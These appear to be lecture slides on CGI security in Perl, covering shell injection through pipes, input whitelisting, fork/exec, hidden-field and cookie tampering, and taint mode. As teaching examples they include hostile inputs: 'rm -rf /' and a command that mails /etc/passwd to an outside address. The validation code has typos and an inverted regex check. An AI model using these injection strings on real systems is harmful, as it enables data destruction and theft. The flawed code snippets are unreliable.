CGI Security
COEN 351
CGI Security
Security holes are exploited by user
input.
We need to check user input against
Buffer overflows etc. that cause a program to
misbehave.
Input that is interpreted differently than the
designer expects it.
CGI Security
Interpretation example:
Assume that we call a program within a
script and pass user-provided parameters
to the program.
For example, a pretty-printer for ASCII art.
CGI Security
Interpretation Example
#!usr/bin/perl –w
use CGI
my $App = /temp/app.exe’;
my $q = new CGI;
my $string = $q->param( “string” );
unless ( $string ) { error( $q, “Need string parameter”);}
local *PIPE;
open PIPE, “$App \”$string\” |” or die “Cannot open pipe: $!”;
print q->header(“text/plain” );
print while <PIPE>;
close PIPE;
CGI Security
Interpretation Example
We first verify that the user enters a string.
We use a pipe in order to stream the
output of app to the page.
The “print while <PIPE>;” statement takes
the output one line at a time and prints it
out.
CGI Security
Interpretation Example
#!usr/bin/perl –w
use CGI
my $App = /temp/app.exe’;
my $q = new CGI;
my $string = $q->param( “string” );
unless ( $string ) { error( $q, “Need string parameter”);}
local *PIPE;
open PIPE, “$App \”$string\” |” or die “Cannot open pipe: $!”;
print q->header(“text/plain” );
print while <PIPE>;
close PIPE;
CGI Security
Interpretation Example
When Perl opens up a pipe, then user input
is passed through a shell
Assume users types in ‘rm -rf /’ on a Unix
machine.
The command would execute as if the following
command would have been entered into a
shell:
$ /temp/app.exe “ \rm –rf /’ “
CGI Security
Interpretation Example
When Perl opens up a pipe, then user input is
passed through a shell
Assume users types in
“; mail [email protected] < /etc/passwd”
on a Unix machine.
The command would execute as if the following
command would have been entered into a shell:
$ /temp/app.exe “”; mail [email protected] <
/etc/passwd
CGI Security
Interpretation Example
Clearly, we need to be careful about
filtering out bad input.
Other examples include
SQL injection attacks
Access to resources
CGI Security
Interpretation Example
A simplistic countermeasure checks the input for
bad characters, before we pass user input to the
pipe.
This is a bad strategy because it only excludes
possible attacks.
Much better to positively identify good input.
Before 9/11, visa to US was granted unless there was a
positive reason to exclude some-one. (Bad list.)
After 9/11, visa to US demands proof of good attitudes.
Bad policy maybe for the US, but good policy for webservers (unless you eliminate legitimate traffic).
CGI Security
Interpretation Example
#!usr/bin/perl –w
use CGI
This excludes characters $ \ “ `
;&
my $App = /temp/app.exe’;
my $q = new CGI;
my $string = $q->param( “string” );
unless ( $string ) { error( $q, “Need string parameter”);}
if ($string =~ /[ ‘\$\\” ‘ ;& … ] ) {error($q, “Bad input”);}
local *PIPE;
open PIPE, “$App \”$string\” |” or die “Cannot open pipe: $!”;
print q->header(“text/plain” );
print while <PIPE>;
close PIPE;
CGI Security
Interpretation Example
We want to only allow strings that are alphanumerical, have underscores, hyphens, periods,
question marks, and exclamation points.
However, the strategy of enumerating bad
characters needs to be amended to exclude all
possible escape sequences:
ASCII / Unicode escapes
Foreign language symbols
Double escapes
CGI Security
Interpretation Example
#!usr/bin/perl –w
use CGI
This lists good characters:
alpha-numeric
my $App = /temp/app.exe’;
. ! ? my $q = new CGI;
my $string = $q->param( “string” );
unless ( $string ) { error( $q, “Need string parameter”);}
if ($string =~ /^[\w.!?-]+$/ ) {error($q, “Bad input”);}
local *PIPE;
open PIPE, “$App \”$string\” |” or die “Cannot open pipe: $!”;
print q->header(“text/plain” );
print while <PIPE>;
close PIPE;
CGI Security
Interpretation Example
This is much better.
But do we positively know that one could not
write an attack string that way?
What about users using a different character
set?
More importantly, a minor change can destroy
the security.
Better not use this idea.
CGI Security
Interpretation Example
Prevent the root problem:
Do not pass arguments through the shell.
First fork. Then let the child process call exec.
This will prevent part of malicious user
input to end up as a command.
CGI Security
Interpretation Example
#!usr/bin/perl –w
use CGI
This script bypasses the shell.
This call to “open” tells Perl to fork and
create a child process with a pipe
connected to it.
my $App = /temp/app.exe’;
my $q = new CGI;
The child process is a copy of the
my $string = $q->param( “string” );
current executing script and continues
unless ( $string ) { error( $q, “Need string parameter”);}
from the same point.
local *PIPE;
my $pid = open PIPE, “-|”;
Parent receives $pid of child process.
die “Cannot fork $!” unless defined $pid;
unless ( $pid ) {
Child receives $pid of zero.
exec app, $ string or die “Cannot open pipe: $!”;
Child process calls exec, which calls the
}
app on the input.
print q->header(“text/plain” );
print while <PIPE>;
Parent maintains pipe to the app.
close PIPE;
CGI Security
DO NOT TRUST INPUT
Data in hidden fields can be changed by
the user.
Referer data can be changed.
Data in cookies can be changed.
CGI Security
Hidden
Forms are
not secure:
CGI Security
Hidden forms are not secure:
This script generates a new URL
https://localhost/cgi/buy.cgi?price=30.00&n
ame=Super+Blaster+3000&quantity=1&su
bmit=Order.
User can simply edit this URL and get
another price posted to the webserver.
CGI Security
Hidden forms are not secure
Therefore, we use the Post-method.
However:
Attacker can save the webpage.
Edit the form-field
Change price that way.
CGI script cannot distinguish which
webpage called.
CGI Security
Other possibility:
Trust the referer field in the header.
my $server = quotemeta( $ENV{HTTP_HOST} || $ENV(SERVER_NAME) );
unless ($ENV{HTTP_REFERER} =~ m|^https?://$server/| ) {
error( $q, “Invalid referring URL.” );}
Someone using a standard browser cannot alter
easily the referer field.
However, you can send HTTP commands directly
with netcat, …
CGI Security
Do not trust unencoded cookies.
User can access and alter the cookie with
any number of tools.
CGI Security
Countermeasures:
Protect data with encryption.
Use SSL to protect data integrity and content in
transit.
Validate any information that the user can
change by signature or digest.
CGI Security
Protection Mechanism against alteration
Use a secure digest:
Concatenate values in hidden form with a
secret value.
Store the hash of the resulting string.
When you receive data, verify the hash.
CGI Security
Protection Mechanism against alteration
Perl Taint Mode
Perl offers some protection against user
input.
In taint mode, Perl will not allow any
data from outside the application to
affect anything outside the application.
Tainted variables can not be passed to
eval
shell
calls on the file system
Perl Taint Mode
Tainted variables taint variables calculated from
them.
However, to make things work, you usually need to
untaint variables:
If a variable matches with a regular expression using ()
groups, then they become untainted.
if ($email =~ /(\w{1}[\w-.]*)\@([\w-.]+)/) {
$email = "$1\@$2"; }
else {
warn ("TAINTED DATA SENT BY $ENV{'REMOTE_ADDR'}: $email: $!");
$email = ""; # successful match did not occur }
CGI Security
Data Storage Issues
Danger: Opening files when the filename is
dynamically generated based on user
input.
Move data files out of web server tree.
Set file permissions.
Principle of minimal permission.
Files that only need to be read should be owned by
nobody and should be write protected.
CGI Security
Learn the Odds and Ends
Email
User should not be able to send email to
anyone but a single entity.
Otherwise, it is trivial to fake email coming
from your organization.
© Copyright 2026 Paperzz